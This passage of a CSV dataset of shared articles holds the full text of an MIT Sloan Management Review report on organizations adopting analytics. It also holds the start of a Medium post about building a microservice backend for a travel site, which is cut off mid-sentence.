1478717545,CONTENT SHARED,3293246847422795557,3829784524040647339,6603630878273974469,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.90 Safari/537.36",SP,BR,HTML,http://sloanreview.mit.edu/case-study/lessons-from-becoming-a-data-driven-organization/,Lessons from Becoming a Data-Driven Organization,"Introduction The case studies gathered and presented here tell, in a sense, a single story. It's the story of a ""management revolution,"" brought about by the widespread adoption of big data and analytics in both the public and private sectors. 1 In these dispatches from the front lines of that revolution, we see four strikingly dissimilar organizations - a health care system, a bank, a major industrial company, and a municipal government - in the process of becoming data-driven. (The organizations are Intermountain Healthcare , Nedbank , GE , and the city of Amsterdam . Other MIT SMR published case studies cited in this report can be found at sloanreview.mit.edu/case-study/ .) We see them struggle and, to a greater or lesser extent, succeed at using analytics to improve the quality and variety of their products and services, engage in new and deeper ways with patients, customers, and citizens, and transform the way they operate. And crucially, we see them use data and analytics not just to improve productivity and make their operations more efficient, but also to change their fundamental business models. Case Study Series The stories in this EY-sponsored case study series include: Other case studies published by MIT SMR and referred to in this report - including Preparing Analytics for a Strategic Role , How Caesars Entertainment is Betting on Sustainability , and Luminar Insights - can be found on our case study page . A leading character in this story is technology. Quite simply, there would be no data and analytics revolution without easily accessible, increasingly inexpensive computing power: the cloud, the Internet, and powerful, versatile software and algorithms. Yet technology is only part of the story. People are equally important. The leaders who mobilize their organizations to embrace and fulfill the promise of analytics, the frontline people who experience how analytics are changing their roles and responsibilities, the data scientists and IT engineers who do the hard work of collecting, classifying, organizing, and deploying staggering amounts of information - they all help us gain a better understanding of the scope and meaning of this revolution. The technology and the people who deploy it also need a process or system of rules to guide how people create and use information. Rules help transform the noise of disordered information into legible signals with the power to sharpen and deepen the focus on the customer (broadly defined), and in the process improve health outcomes, the customer experience, the realization of business value, and civic life and engagement. Download the Full Report (PDF) MIT Sloan Management Review has prepared and presented these case studies to show how the analytics revolution is currently transforming organizations as well as the economies and societies in which they operate. This transformation is occurring at every level, from the microeconomic to the macroeconomic, from the way individual stores stock their shelves, to the way manufacturers and their customers connect to realize new forms of value, to the way economies and societies function. At the same time, these case studies reveal that many organizations struggle mightily just to get a handle on the data they have. And once they've located, collected, classified, and organized the data, they must then manage the processes needed to ensure its timeliness, accuracy, completeness, and reliability. Integrating data into decision making can be another fraught step, especially among managers accustomed to acting on gut instinct, intuition, and experience. Organizations and their leaders need considerable fortitude and persistence - not to mention a judicious blend of patience and impatience - to do the grinding, unglamorous work that is the foundation of successful analytics initiatives. That's a big ask, and it helps explain why so many such initiatives fall short of expectations. These reports from the front offer a distinctive view of the organizations that are realizing, or aiming to realize, the promise of analytics. As disparate as they are, they share a few key success factors, and they have also faced common hurdles and reaped the benefits that flow from perseverance and dogged adherence to their digital vision. That vision, shaped by each organization's senior leaders and elevated by those working most closely with the data, focuses not merely on using digital technology to make the existing organization better but using it to transform the organization along three crucial dimensions: improving the customer experience; overhauling operational processes; and designing and executing new, digitally powered business models. How the Data-Driven Organization Takes Shape The data-driven organization can be pictured as a pyramid that rests on a base of well-governed data, partnerships, and sustained commitment from leadership and employees alike. With that foundation in place, the organization can move to the next level, where it treats data as a core asset that is an essential element of strategy, fashions its data into commercial offerings, and uses it to deepen the engagement of employees and customers. Then finally, as the organization's data and analytics capabilities mature, they can underpin innovative new business models - models that alter, sometimes radically, power arrangements within the organization. Mastering the Basics of Information Management Process Innovation Comes in Different Shapes and Sizes Process innovation is as varied as the organizations that use analytics to change the way they do business. At GE, the sales process has changed as the nature of what GE is selling has changed. More and more of its customers are buying not machines but the stream of information generated by machines, and sharing the value created by that information. This shift means that procurement is no longer the sole preserve of the COO - the CIO is now a customer as well, and needs to be present at the negotiating table. Intermountain Healthcare (IMH) is changing how and when its medical staff cares for patients. For example, drawing on information revealed by analytics, IMH's obstetrics department has slashed the number of induced labors it performs, while its endocrinology department has cut the incidence of diabetes in patients who have had their gallbladders removed. Analytics is even changing the process of city management, as we see in Amsterdam, where data helps city leaders find new ways sort and collect waste, manage street lighting, control traffic flows, and protect the 55% of its citizen who live in flood zones. About the Case Study This case study roll-up report is based on a series of MIT SMR -produced stories , sponsored by EY, exploring the analytically driven organization. Many organizations have been slow in compiling, classifying, and organizing the data sitting in siloes and dark corners. It's ""a boring, boring job,"" says Ger Baron, Amsterdam's first-ever chief technology officer. ""But very useful!"" He ought to know. The Netherlands' capital has 12,000 different datasets, and even they can't tell him everything about the city. For example, no one knows exactly how many bridges span Amsterdam's famous canals, because the city's individual districts have not centralized their infrastructure data. That story underscores the challenges organizations face in the realm of data governance, or the methods and rules that organizations use to assure the quality of data, manage it, integrate it into business processes (see the sidebar, ""Process Innovation Comes in Different Shapes and Sizes""), and manage its risks. Mobilizing and motivating an organization to conduct a data inventory can, as Baron implies, be a significant challenge for senior leaders. It's tough to persuade people to undertake a tedious, laborious job, especially when the payoff seems distant or insubstantial. So leadership needs to recognize and celebrate small wins along the way. Organizational leaders must decide who will be responsible for data governance. They must determine who will define and disseminate a common vocabulary around data, specify who has access to what data and how and with whom they can share it, and establish how the entire organization can use that data to create value. Some cutting-edge organizations have created data councils, composed of leaders from across the organization, to address such questions. The work of data councils involves mapping workflows, assigning ownership and accountability for key deliverables, defining and enforcing the cultural norms for the use of data in decision making, and measuring what data and analytics contribute to organizational performance. Without such councils to make these and similar high-level decisions, organizations may find it difficult to sustain their analytics initiatives, much less take them to the next level. The council's first job is to create a common language for data. The language of data is, like any other language, a social construct, and it's the job of the data council to define and enforce the social norms around that language, to ensure not just clear communication but organizational cohesion. But even defining data can be a stiff challenge. Although it may seem obvious that data simply means raw information, people involved in analytics can attest that many of their colleagues don't really understand the term. Does data mean numbers? Social media postings? Location information? Customer activity? Readouts on machine performance? It is all these things and more, but many people have trouble grasping that a single concept can span so many different categories. Without that understanding, it's all but impossible to sell, price, or even describe data and analytics product offerings. When that understanding is achieved, though, language can expand listeners' view of the world. Jeff Liberman, COO of Spanish-language media company Entravision Communications Corp., based in Santa Monica, California, was baffled when he first heard Franklin Rios, the driving force behind the company's Luminar analytics unit, deliver a board presentation about big data. He simply didn't see its relevance to the broadcast business where he had spent his professional life. ""I was thinking as a broadcaster, saying, 'How am I going to use this?'"" Liberman recalls. ""Then I said, 'Wait a second, I have to take off my broadcaster's hat and start looking at this as just a flow of information.' It just really clicked at that point."" The point is that leaders should not underestimate the power of language to make the subject of data ""click"" in the minds of users. In addition to finding a common language, those responsible for data governance must also create definitions of success that are consistent with the organization's data strategy. Consider Intermountain Healthcare Inc. (IMH), a system of 22 hospitals and 185 clinics in Utah and Idaho, headquartered in Salt Lake City. Whether or not he knew it, IMH chief of surgery Mark Ott was socializing a new definition of success when he met with surgeons at IMH's flagship hospital and showed them data that proved that their postoperative infection rates were in line with national averages. ""You think you're great,"" he told them, ""but compared to other hospitals in the country, you're average."" Such blunt language, especially directed at people with as much professional pride as surgeons, can help promote thinking about data as a source of truth, however painful the truth may be. And it can be a powerful force for improving the experience of customers - or in this case, patients. Data governance also entails determining what data matters in a given context. That's what Caesars Entertainment Corp. , the Las Vegas-based international gaming company, discovered when it tried to develop a scorecard to promote and advance its initiative to make its hotels, casinos, and other properties more energy efficient and environmentally friendly. Contention quickly arose over the specific information to include in the scorecard. Some stakeholders thought the scorecard should highlight progress toward cost-reduction and financial goals - which led to debates over whether to track energy consumption or cost savings. Some stakeholders then asked if it was fair to compare older buildings with newer ones built to greener specifications. What about buildings located in hot climates? Was it fair to compare them with buildings in more moderate zones without adjusting for temperature differences? Other organizations will be sure to confront similar questions as they deliberate what to measure and what purpose the measurements should serve. The answers will vary according to the organization's strategy and goals, but in any case, it's up to senior leadership to arrive at a common data language and manage the debate over what to measure - that is, over what data matters most. In addition to establishing a common language for data, nearly every organization has to close gaps in data quality, as IMH learned when it started to present surgeons with data about their patients' health outcomes. IMH discovered that data listing a patient as under the care of a particular doctor was sometimes incorrect because the doctor's partner was seeing that patient. This inconsistency risked undermining physicians' trust in the data, which in turn posed a risk to the company's efforts to promote data-driven decision making. In response, IMH encouraged physicians to trust the data by allowing them to see patient data and challenge it. Categorizing data is another challenge. Amsterdam's Baron has to pin down the definition of a bridge, which varies from one district of the city to the next. WellPoint (now called Anthem), a leading U.S. provider of health care benefits and insurance, has had to reconcile definitions of emergency-room visits that varied across the 14 regions it serves. And a leading central bank has had to harmonize the widely varying terminology that various bank departments used to refer to the different categories of private-sector institutions under their purview. Advertisement Unstructured data can also be a headache. Vince Golla, social media director at Kaiser Foundation Health Plan, one of the largest health care providers in the United States, tells of running an experiment to measure its members' satisfaction with the parking facilities at the organization's many locations. For 30 days, he and his team searched Twitter for mentions of Kaiser Permanente . Problem was, most people usually refer to Kaiser Permanente just as Kaiser, and as a result, the Twitter search threw up confounding references to Kaiser rolls, Kaiser beer, and the English rock band Kaiser Chiefs. ""It required a little work to sift the wheat from that chaff,"" Golla says, with some understatement. How Data Drives Productivity Improvement Data and analytics offer a means of boosting the stubbornly low productivity growth rates that bedevil economies in the developed world. Improving productivity in the oil and gas industry presents a special problem, because much of the industry's domain knowledge resides in the heads of engineers now approaching retirement age. ""The engineers in the field have 20, 30, 40 years of experience - they're like pumping-unit whisperers,"" says GE's Holsey. ""They can walk up to a unit, and they can hear it creak and groan and grind and understand the stress points."" GE is applying its Predix platform to replicate that knowledge, replacing the ears and experience of veteran engineers with sensors and data flows. The challenge is only partly technical, though - the toughest part for GE may be convincing engineers to trust that Predix's data is as reliable as an engineer's hard-won savvy. Building Better Relationships With Data More sophisticated pricing strategies can enable companies to strengthen relationships with key customers. By shifting to outcome-based pricing, GE has forged tighter bonds with many of its industrial customers, working with them to capture savings opportunities created by data and analytics. As part of its Smart City initiative, Amsterdam is using information from insurance companies to pinpoint areas of the city with large clusters of people with depression. Many of those areas were not receiving services proportionate to their incidence of depression, but the city can now target its interventions and step up service provision to the most affected areas. When employees see how data can help them do their jobs better, they soon become data evangelists. Nedbank learned that lesson when it began supplying its relationship officers with enhanced, in-the-round data about their customers. Empowered with personalized information that enabled them to proactively offer advice and services, the relationship officers were able to engage more deeply with their clients while advancing the bank's strategy - and their own careers. The result: more engaged employees and more loyal, satisfied customers. Nedbank, meanwhile, is using data and analytics to improve the productivity of its branches. It has developed a database known internally as 4-Cubed, so-called because it affords four different views of customer profitability - by product, customer, region, and channel. One of the benefits of that four-dimensional view is that bank managers can now accurately allocate profitability among its branches, allowing them to determine which branches are profitable and which are doing too little business to justify remaining open. Heavily siloed organizations have their own set of data problems. Wayde Fleener, a data scientist and senior manager in General Mills' Consumer Insights group , encountered resistance when he set out to discover what his organization knew about its customers since no one had a data diagram that mapped out where data was or how it was being used. ""People felt threatened because I was coming into their role and questioning them,"" says Fleener. ""So there was a lot of resistance, and 'Are you trying to take over what I'm doing?' I had to keep saying, 'No, I'm just trying to help you do things better.'"" While sifting through thousands of datasets that referenced the company's Cheerios cereal, Fleener discovered that some data sources spelled ""Cheerios"" all the way out, and others spelled it ""chrs."" 2 Resolving such discrepancies is a job for a team of ""data stewards,"" who spend much of their time reviewing reports of such terminological inconsistencies every time they run a data refresh. Jeanne Ross, research director of the MIT Sloan Center for Information Systems Research, believes that many organizations need a "" data dictator "" to resolve issues such as definitional inconsistencies. As she said in an interview with MIT Sloan Management Review , they need ""somebody who says, 'This is how we will define sales, this is how we will define returns, this is when we will register revenue, and we are all living by this rule. Until we do that, we don't have data that's useful for most kinds of analytics. We can still go out and buy demographic data and probably learn something quite useful. But if we want to know how to avoid stock-outs in our stores or what products are of greatest interest to a particular customer segment, we're going to need the data cleaned up.'"" 3 Not every company has the will and resources to make that kind of commitment. Ultimately, effective information management requires the intervention of people guided by rules, norms, and culture, none of which are static. It's often tedious, painstaking work and requires a significant investment in human and financial resources. How Data Enhances Sales, Pricing, and Procurement Nedbank used to track customer profitability by channel or product line but was unable to pull that data together to obtain a full view of each customer's profitability. Data and analytics have enabled that holistic view, which gives bank managers a powerful new tool to increase customer engagement and satisfaction. For example, managers can now identify their best customers and offer price incentives on products such as home mortgages and other credit products. In a much different domain, data and analytics have enabled IMH to negotiate significant pricing concessions from suppliers of key surgical equipment. Most of its surgeons who performed bowel surgeries were using one of two surgical staplers. Although analytics revealed that the performance characteristics and reliability of the staplers were nearly identical, one cost $600 more than the other. Yet most surgeons were firm in their preference for the more expensive device. Armed with data demonstrating the close similarities of the two devices, IMH executives were able to talk the supplier of that device into matching its competitor's price. ""I said, 'Either you lower your price to the competitor price, or we're taking you off the shelf,'"" says Mark Ott, IMH chief of surgery. ""And they immediately lowered their price."" And saved Intermountain $235,000 a year. The New World of Data Partnerships Data-Driven Product Innovation Heavy equipment manufacturing was once pretty much the whole ballgame at GE. Today, though, heavy equipment is just part of its offering, which is evolving into a total solution for heavy-equipment users. Toward Data-Driven Strategic Planning While GE provides the classic example of how data and analytics are having a profound and far-reaching effect on corporate strategy and spurring changes in an organization's very identity, other organizations are experiencing this transformation as well. WellPoint, for example, is using analytics to bring about a shift in the U.S. health care industry's pricing model, from fee-for-service to outcome-based payment. It's pursuing this goal in part by giving physicians easy-to-use data about their patients with chronic medical conditions so that the physicians can give them more effective care. That data-driven care is reducing emergency-room visits, a major contributor to rising health care costs, while increasing physicians' incomes. That's a powerful way to turn someone into an analytics evangelist. Data and analytics are also transforming Intermountain Healthcare into a data-driven organization. Progress has been fitful at times, in part because many doctors weren't accustomed to integrating data technology into everyday medical practice. ""It was really a decision made on faith at first, that if we invested in the systems, we would see results,"" says Brent Wallace, IMH's chief medical officer. That faith is proving well-founded. As they grow more familiar with the technology, IMH's obstetricians have cut the number of induced labors after seeing data that shows the intervention rarely leads to better health outcomes. Physicians are changing post-operative care for patients recovering from gall-bladder surgery, based on data showing that stabilizing patients' post-operative insulin levels can reduce the incidence of diabetes. And shared data that ranks surgeons on the quality of their outcomes is spurring the entire surgical staff to raise their game. Luminar, for its part, is its parent company Entravision's engine for transforming itself from a 20th-century media company into a 21st-century data provider. Many of its product innovations spring from the suggestions of its customers - an example of the co-creation that data and analytics enable. Luminar's Franklin Rios describes meeting with Entravision's customers to discuss media buys, only for the customers to enlist Luminar's support in other marketing initiatives. ""The requests had nothing to do with media,"" Rios says. ""They were purely to do with driving better efficiency, or purely for them to know what the market penetration was in a particular DMA [designated market area], and what a 2% or 3% lift could mean to them, and how the competition was stacking against them for the Latino consumer."" Anyone involved in a data and analytics initiative soon learns that they can't go it alone - data and analytics applications inevitably drift across departmental and organizational boundaries, requiring collaboration within and between organizations to reach their full potential. At IMH, for instance, endocrinologists partnered with data scientists and one another to learn how best to manage patients with diabetes. Get MIT SMR 's free monthly newsletter on Data & Analytics Sign Up Now "" The most consistently successful physicians shared with their colleagues the methods they used to help patients maintain low blood-sugar levels, ranging from motivational tools to regular calls from the physician's team. This information-sharing partnership enabled IMH's physicians to care so well for their diabetic patients that those patients now face no higher risk of heart disease than the general population. Data partnerships also extend beyond the walls of the organization. Amsterdam relies heavily on the Amsterdam Smart City initiative, a public-private platform, to address many issues of urban life. The initiative encompasses projects across eight categories: smart mobility, smart living, smart society, smart areas, smart economy, big and open data, infrastructure, and living labs. Early wins include replacing most of the city's parking meters with a pay-by-phone app; an initiative to improve crowd control and traffic flow at large gatherings like the SAIL Amsterdam Festival, which brings more than a million visitors to Amsterdam to view traditional wooden sailing ships; and Rain Sense, which examines where rain falls in the city to help reduce the effect of flooding on traffic flow. (See the sidebar, ""How Data Drives Productivity Improvement."") At Nedbank Group Ltd., the fourth-largest bank by revenues in South Africa, the company's card-acquiring business developed a commercial offering, Market Edge, for its merchant business customers that included a suite of analytical tools integrating the customers' own client data with historical, demographic, weather, and other data to which the bank had access. Each Market Edge offering is tailored to and co-developed with each Nedbank customer to address their particular business needs. (See the sidebar, ""Building Better Relationships With Data."") Meanwhile, GE's Industrial Internet offerings are transforming sales agreements into partnerships as the company migrates away from a licensing-based pricing model for its Predix platform to a subscription model. Rather than charging a fixed price for, say, a turbine, GE sells a hardware, software, and service solution whose value is determined in part by whether a customer reaches a certain level of savings in operational costs. If that level is achieved, GE gets a cut. ""If we improve, say, [a customer's] power consumption by X, we get $1; by Y, we get $1.50,"" says Ron Holsey, a senior executive at GE Oil & Gas. A crucial aspect of these agreements is that GE and its customer must work together to realize those savings - they become co-creators of value. And that itself changes GE's relationship with its customer. Engaged customers can be a company's most effective sales force. To win new business, GE runs scores of pilot programs with customers in the oil and gas industry to demonstrate how Predix can improve asset performance, increase efficiency, and cut downtime - a crucial issue in an industry where a single idle well can cost millions of dollars a day. Successful programs generate positive word of mouth and convince oil and gas engineers (a conservative group, reluctant to try anything new that isn't empirically supported and low-risk) to find out what Predix can do for them. ""To get anywhere in the oil and gas industry, we need help selling,"" says one GE executive. ""We need customer voices out in the industry with success stories, or we're just not going to come to the table with the credibility that we need. So we need to inspire our customers to want to do that."" Data can also turn businesses and their vendors into partners. When IMH decided to overhaul its electronic health records (EHR) system, it chose to work with Cerner Corp., a leading EHR vendor. IMH's leadership team liked Cerner's careful attention to the secondary use of data for back-end analytics as well as its clinical transaction system, which helped clinicians make better patient-care decisions. But IMH wanted to retain its own data management and analytic systems, a condition that called for increased coordination between the organizations. Cerner set up shop in offices next to IMH's main medical facility and relocated some of its top development talent to Utah. As a result of their close work together, IMH and Cerner partnered to win a huge contract to provide health care services to the Department of Defense and are brainstorming new products based on IMH's data management services and data warehouse framework. In each of these cases, data and analytics fundamentally altered the scope, depth, and quality of the engagements between and among organizations and individuals. Rather than one party buying what the other is selling, they are working together, supported by data, to create value for both sides. Yet even the closest partnerships have their points of contention and conflict. A handful of forward-looking companies are starting to explore the possibility of gathering, developing, and exploiting IoT data from not only their own physical assets but also those of their customers and vendors. In some cases, customers and vendors do not hesitate to share their data, viewing data sharing as a low-cost, low-risk way to acquire analytics capabilities. But as companies as different as GE and Luminar have learned, customers and vendors can be difficult to sell on the concept, because it suggests a loss of autonomy, a compromise of trade secrets, or the giveaway of a valuable asset. In the public sector, data sharing can raise troubling issues, even when the data concerns something people want to get rid of: garbage. When AEB Amsterdam tried to improve its waste stream by having citizens separate recyclables into different colored bags, it had to confront public concern that the city might be spying on its residents through their trash. Data partnerships, and data sharing more broadly, are creating important new sources of business value but at the same time generating new and as yet unanswered questions regarding data ownership, data accessibility, and data rights. To the extent that companies rely on data sharing for business value, who will manage the risks that accompany such dependence? Treating Data as a Core Asset Organizations can use data to improve virtually anything they do, but a relative handful of standout organizations are using data in highly intentional, systematic ways to address strategic challenges and react to - and in many cases anticipate - sweeping changes in the markets they serve. What these organizations have in common is that they view data as a core asset. Their leaders are convinced that analytics can improve their ability to innovate and give them a competitive advantage. They support the systematic use of data in decision making and strategy throughout the organizations they lead. These organizations don't just use analytics to address tactical and operational issues or to support basic reporting and marketing - with a strong push from their leaders, they've taken the next step up and are using analytics to allocate resources and create new products and business models. (See the sidebar, ""How Data Enhances Sales, Pricing, and Procurement."") Today, GE views its competencies around data and analytics, as well as its various Internet of Things offerings, as central elements of its new digital business identity. Data is changing what GE sells, who sells what they sell, and how they sell, in addition to expanding the range of buyers to whom they sell. IMH, a pioneer in the use of data and analytics to improve health outcomes and lower costs, has long believed that data is core to operational decision making and strategic planning. The City of Amsterdam is now using data, its own as well as that of myriad partners, to improve municipal management, and in the process has been named Europe's most innovative city. Like many large financial institutions, Nedbank is striving to use data to improve its operations and customer focus and achieve strategic goals. All these organizations are, to varying degrees, organizing their activities around the use of data. For instance, IMH made a data-driven, strategic decision to perform cardiovascular operations (surgeries and catheterizations) at only four of its hospitals. By concentrating expertise at those facilities, IMH has sharply cut response times to treat ST-elevated myocardial infarctions (STEMI) - heart attacks that follow the sudden, complete blockage of coronary arteries. Research has shown that up to 15% of people who suffer STEMI die within 30 days of the event, but survival rates improve if patients receive treatment to unblock the artery within 90 minutes of arriving at the hospital. IMH tracks each STEMI event at its hospitals and shares its measurements with its surgical teams, who use the information to boost their response times. As of 2014, the median response time had been cut to 57 minutes - dramatically lower than the national average of 90 minutes - leading to a marked improvement in health outcomes, with 96% of STEMI patients surviving longer than 30 days after hospitalization. Commercializing Data and Business Model Innovation Virtually every power user of data and analytics is discovering the commercial potential of the information they're collecting, generating, and analyzing (see the sidebar, ""Data-Driven Product Innovation""). All the companies covered in this series - GE, IMH, and Nedbank - are beginning to commercialize data, related analytics, or a software platform. GE's cloud-based Predix software platform is a standout example. Originally developed to provide GE's own machine operators and maintenance engineers with real-time information to schedule maintenance checks, improve efficiency, and reduce downtime, Predix is now available to GE's channel and technology partners as well as other customers who can use the platform to build their own set of bespoke analytics. Like Predix, virtually all efforts to commercialize data and analytics are built from the foundation of a prior internal application. Nedbank's Market Edge began life as an innovative way for the bank to develop value-added services to differentiate its credit- and debit-card offerings. The products that IMH is brainstorming with Cerner spring from the analytics developed to improve clinical care at IMH's own facilities. Bringing those commercial ventures to scale is a pressing question for senior leaders. Do they do it from the inside? That choice inevitably entails deep and difficult changes to functions such as sales and finance, as GE discovered while commercializing the Predix platform. Or do they scale up from the outside? Entravision chose that course when it set up its Luminar analytics unit as a freestanding division, with a separate P&L and its own sales teams. In either case, the scaling effort will blur inter- and intra-organizational boundaries - Luminar's sales teams, for example, now join Entravision's teams on sales calls to some advertisers. Partnerships can serve as a powerful tool for scaling commercial offerings. By joining forces with its small-business clients to improve their performance and fine-tune their strategy, Nedbank builds a following for its consumer analytics offering while enhancing customer satisfaction and engagement. GE, as we have seen, partners with its industrial customers to boost their efficiency, with revenues determined by the savings generated by its analytics. Organizational constraints, however, can impede efforts to scale commercial analytics offerings. Sometimes other organizational priorities take precedence, while in other cases the organization simply lacks the capabilities needed to bring a product or service to scale. Nedbank encountered several of these challenges when trying to scale Market Edge, the analytics product for its merchant customers. The internal product team recruited 12 salespeople from its card division to sell Market Edge to merchants but soon learned that despite receiving specialized training, the salespeople were simply not comfortable discussing the product with their clients. Leaders of the scaling campaign have realized that they'll need to recruit a whole new sales team for Market Edge - the current sales force just isn't fit for purpose. At the same time, the Market Edge team has run up against resource constraints, because a concurrent program to retool the bank's IT infrastructure has slowed the drive to move commercialization effort beyond the pilot stage. GE is using data and analytics to refashion several elements of its business model, including service delivery, its sales force, and the way it prices equipment. It has created a huge software division to support Predix (its new cloud-based platform to host and analyze asset productivity data), develop new machine data applications, and bring together a community of customers and developers (see the sidebar, ""Toward Data-Driven Strategic Planning""). The industrial giant is committing $1 billion to install sensors on jet engines, gas turbines, and other machines, connect them to the cloud, and analyze the resulting flow of data to find ways to boost machine reliability and productivity. Conclusion The case studies discussed in this report reveal the emerging opportunities with data, along with related challenges: The contours of the ""management revolution"" are taking shape. Those companies that are winning with data are mastering the data they have access to, co-creating business value from that data, and in some instances, elaborating their business models to take advantage of these new possibilities. A 2015 MIT Sloan Management Review survey of 2,719 managers in organizations around the world found that the chief barrier to creating business value from analytics was not data management or complex modeling skills. Rather, the main obstacle was translating analytics into business actions - or, as one survey respondent put it, ""developing middle management skills at interpretation."" There are ways to close that gap, notably formal training and experiential learning. But mindsets also have to change. To become effective analytics consumers, managers must learn to distinguish between facts and data. Facts are immutable; data can be spun and massaged to support the preconceptions of the interpreter - a deeply ingrained cognitive tendency known as confirmation bias. A line from Paul Simon's song ""The Boxer"" neatly sums up confirmation bias: ""A man hears what he wants to hear and disregards the rest."" In the Nedbank case study, local merchants thought they knew who their best customers were, but data offered a different view. Surgeons at IMH thought they were above average until data showed them otherwise. GE's Oil & Gas customers believed they knew best how to manage their wells and rigs, until data showed them more productive ways. For managers accustomed to making decisions based entirely on their own experience and intuition, there is a tendency to believe that they are the right people with the right information at the right time. It is noteworthy that managers changed their minds and behavior in each of these cases when counterintuitive data was introduced into a business environment in which they trusted the people presenting the data and were prepared to trust the data itself. In order to create business value from data, it may not be sufficient for the right information to be received and trusted by the right person at the right time; the right information must also have the right salience to the right person. In an era of information overload, the ability to identify the right information from other information remains a critically important management skill. Blending data and experience in decision making is not a balancing act; neither is a substitute for the other. Organizational leaders can take a page from the legendary Alfred P. Sloan, who, when faced with unanimous support from his General Motors executive team for one of his decisions, responded: ""I propose we postpone further discussion of this matter until our next meeting, to give ourselves time to develop disagreement and perhaps gain understanding of what the decision is all about."" Data will often underdetermine a course of action, if only because data is subjective in nature; how data is created, weighted, and analyzed is the product of many individual decisions that can introduce personal or political biases. Data-based evidence is often weighed with experience, bolstered with faith, and buffeted by politics. As analytics becomes a more common path to business value, experience, belief, and politics as well as luck will continue to play crucial roles in determining what kind of business value can be derived from data.",en
1478784272,CONTENT SHARED,5263606973029607223,7645894863578715801,-7392748146172665703,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,https://medium.com/@derrickburns/building-a-modern-scalable-backend-modernizing-monolithic-applications-15fc3b8101fa,"Building A Modern, Scalable Backend: Modernizing Monolithic Applications","One year ago my consultancy was hired to construct a modern backend for a travel site that serves millions of unique visitors each month after the previous team had failed. This is the story of our success. The Problem If your business is based on content, then you must solve two separate problems: 1) how to create new content and 2) how to serve content via your web site, via your mobile applications, and perhaps via third parties. If your business has tenure, then your content creation suite is likely varied, and your data is probably spread across many different data sources. Worse, each of your applications access each data source directly with inconsistent APIs. If you want your business to grow faster than your applications teams can drive it, then you need to provide third parties access to your data in a manner that you control. This is the state that we found our client in. Their rich content was stuck behind Ruby on Rails applications, Wordpress instances, and various other data stores. They needed 1) to create new and richer content faster and 2) to serve their content to new web and mobile applications at scale. Their previous attempts to solve this problem had failed. Those teams had tried to solve both problems simultaneously. With so many stakeholders, they failed to get consensus and churned. We took a different approach. We decoupled the two problems. We left the content creation workflow alone and instead introduced a new serving layer atop the storage layer using a data model that could be easily understood and served via a truly RESTful API. With this architecture, we enabled the client to build new web and mobile applications quickly, moving independently of the content creation tooling development. This is the story of what we delivered to client and how it satisfies their current and foreseeable future needs. The Requirements The Data Sources As a travel company with a global brand, our client had accumulated a wealth of content, some generated in house, and some integrated from third parties. In-house objective content and subjective narratives about places and points of interests are created by a custom Ruby/Rails content management system backed by a Postgres database. A rticles and news are created in various Wordpress instances backed by MySQL databases. Books and e-books are sold in a custom e-commerce application backed by a Microsoft SQL Server database. Bookings services for lodgings are provided by booking.com and Hostel World. Booking services for tours are provided by G Adventures and Viator. Additional objective content such as hours of operation or location (address or latitude/longitude) data from Google Places and Factual.com would also need to be integrated. The Data Model With so many disparate data sources, we needed an organizing principle. As a travel site, internal clients access the data either by navigating or searching via the web or mobile applications. We needed to support navigation following a simple geographic (place) hierarchy : world, continents, countries, states/regions, cities, and neighborhoods. Points of interest would be indexed by the places that contain them. Articles, news, books, and e-books would be indexed by the places mentioned within them. Individual lodgings would be indexed by the places in which they reside. Tours would be indexed by the places that they visit. The Traffic As one of the most visited travel sites, we needed to support 30-60 GET requests per second on launch. New mobile applications were also being built, so demand would be unpredictable. We needed to build a system that would scale elastically. The Solution Microservices and Cloud Infrastructure Given the failure of the previous team, we knew that we needed to show results quickly. Moving quickly meant that we would leverage popular open source software, well-thought standards, and cloud infrastructure. Our client was already using Amazon Web Services (AWS) to run dozens of Ruby on Rails applications, each on a separate EC2 instance. So the decision to host our backend on AWS was easy. We needed a high degree of scalability, support for multiple programming languages, and clear isolation of services, so we opted for a microservice architecture using Docker for containerization and using Json for data interchange using the principles of the 12-factor application . API We needed to design our APIs first so that clients to the services that we were building could be developed in parallel to those services. We opted to write our APIs using the RAML API modeling language and Json Schema , a vocabulary that allows you to annotate and validate JSON documents. We wrote tools using the Ramlfications RAML parser and the jsonschema Json schema validation tool. Prior to implementing services, we wrote example requests, responses and their schemas. This proved invaluable in expediting client development and in identifying inconsistencies between our implementation and our specifications. To structure our APIs, we opted to standardize on a well-structured approach to building Json based web APIS, JsonAPI . While many alternatives exists (including HAL, JSON-LD, Collection+JSON, and SIREN), JsonAPI provided structure and direction with acceptable overhead. Orchestration My team consisted of two Ruby/Elixir developers, one senior Python engineer, and two Java/Scala engineers. Standardizing on a single language would have to wait. We allowed each developer to use the language of his or her choice, as long as it was contained in a Docker container and built according to the JsonAPI standard. Later, after demonstrating success, we would standardize on one or two languages. To manage our containers, we opted for Kubernetes , an open-source system for automating deployment, scaling, and management of containerized applications. We chose Kubernetes over its competitors because of its maturity and growing user base. Microservices Over the course of several months, we implemented a microservice for each data set. Each micro-service consists of two sub-services: 1) a single synchronization sub-service that indexes data by location and writes it into a AWS RDS Postgres/PostGIS datastore and 2) a stateless, replicable API sub-service that serves Json data from that datastore. Exactly one instance of each synchronization sub-service runs on each cluster, but using Kubernetes auto-scaling , we scale the API sub-services based on CPU load. This allows us to adapt to increasing/decreasing demand without human intervention. Our first microservice, written in Python, serves places (e.g. New York City) and points of interests (e.g. the Statue of Liberty) . The synchronization sub-service replicates data from a remote non-hosted Postgres database into an AWS RDS Postgres database. The API sub-service uses the Flask framework, a gevent.pywsgi web server, and the p sycopg PostgreSQL adapter. Gevent provides co-routines that allow scaling the web server without the overhead of heavyweight threads. Our second microservice, written in Elixir, serves lodgings from booking.com and HostelWorld . The synchronization sub-service polls the web sites for changes several times each day, and indexes the data into an AWS RDS Postgres database. The API sub-service uses the Phoenix web framework. Elixir lacks the maturity of the other languages, which required us to extend open source monitoring and serialization libraries in order to use them in our project. However, Elixir proved to be a solid performer with low memory requirements. Our third microservice, written in Ruby, serves activities and tours from Viator and G Adventures . The synchronization sub-service polls the web sites for changes several times each day, and indexes the data into an AWS RDS Postgres database. The API sub-service uses the Rails web framework. This service proved to be a memory hog. Our fourth microservice, written in Scala, serves articles and news from Mysql databases managed by Wordpress . Unlike the other micro-services, it does not have a separate synchronization layer, since the source data is already indexed by location via a separate custom Wordpress plugin. Instead, the API sub-service reads directly from a read replica of the source Wordpress database, and serves the data using the spray framework. Our fifth microservice, written in Elixir, serves the inventory of books and e-books from 